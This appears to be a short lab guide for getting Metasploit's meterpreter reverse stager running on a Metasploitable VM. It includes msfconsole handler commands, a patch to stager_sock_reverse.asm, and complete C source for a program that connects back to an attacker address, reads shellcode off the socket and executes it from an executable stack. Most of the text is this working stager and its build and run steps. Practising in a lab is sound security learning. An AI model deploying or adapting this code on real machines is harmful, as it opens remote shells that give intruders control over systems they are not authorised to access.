- Download and extract con-recv-jmp.tar.bz2.
- Edit LHOST, LPORT in con-recv-jmp.c and run “make” to build the code.
- The makefile uses “execstack -s” to mark con-recv-jmp as requiring an executable stack.
- “execstack” is in the preflink package in Fedora.
- In msfconsole:
msf > use exploit/multi/handler
msf exploit(handler) > set LHOST 192.168.1.110
msf exploit(handler) > exploit - Copy con-recv-jmp to your Metasploitable VM and run it.
You should now be getting meterpreter sessions.
For a more minimal change, the stager_sock_reverse.asm in the tarball contains this patch:
--- stager_sock_reverse.asm 2011-04-18 19:42:29.408172423 +0800
+++ con-recv-jmp/stager_sock_reverse.asm 2011-04-18 19:30:56.192643320 +0800
@@ -66,7 +66,7 @@
recv:
pop ebx
cdq
- mov dh, 0xc
+ mov dl, 0x64
mov al, 0x3
int 0x80
jmp ecx
The snippet above is issuing a read(2) system call, where %edx holds the number of bytes to read. The original code tries to read 0x0c * 256 = 3072 bytes which causes the read syscall to fail with -EFAULT on the 2.6.24-16-server kernel in Metasploitable. Even with the patch, you still must use: "setarch i386 -X ./stager_sock_reverse" to run the stager as it requires an executable stack.
con-recv-jmp.c (functionally equivalent to a patched stager_sock_reverse.asm in Metasploit) is pretty trivial:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
#include <arpa/inet.h>
#define LHOST "192.168.1.110"
enum {
BUFSIZE = 4096,
LPORT = 4444,
STAGER_SIZE = 100,
};
int main(int argc, char **argv)
{
int sockfd;
struct sockaddr_in serveraddr;
char buf[BUFSIZE];
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
fprintf(stderr, "socket failed: \"%s\"\n", strerror(errno));
bzero((char *) &serveraddr, sizeof(serveraddr));
serveraddr.sin_family = AF_INET;
serveraddr.sin_addr.s_addr = inet_addr(LHOST);
serveraddr.sin_port = htons(LPORT);
if (connect(sockfd, (const struct sockaddr*)&serveraddr, sizeof(serveraddr)) < 0)
fprintf(stderr, "connect failed: \"%s\"\n", strerror(errno));
if (read(sockfd, buf, STAGER_SIZE) < 0)
fprintf(stderr, "read failed: \"%s\"\n", strerror(errno));
if (1) {
/* The linux/x86/meterpreter 'stager' payload requires 'sockfd' to be in edi.
* We want to clobber edi and not have gcc restore it */
__asm__("movl %[sockfd],%%edi" : /* OUTPUT */ : /* INPUT */ [sockfd] "r" (sockfd) : /* CLOBBERS */);
((void(*)(void))buf)();
} else {
/* To disassemble the code, run 'udcli' from udis86 on 'stager' */
FILE *f = fopen("stager", "w");
fwrite(buf, STAGER_SIZE, 1, f);
fclose(f);
}
return 0;
}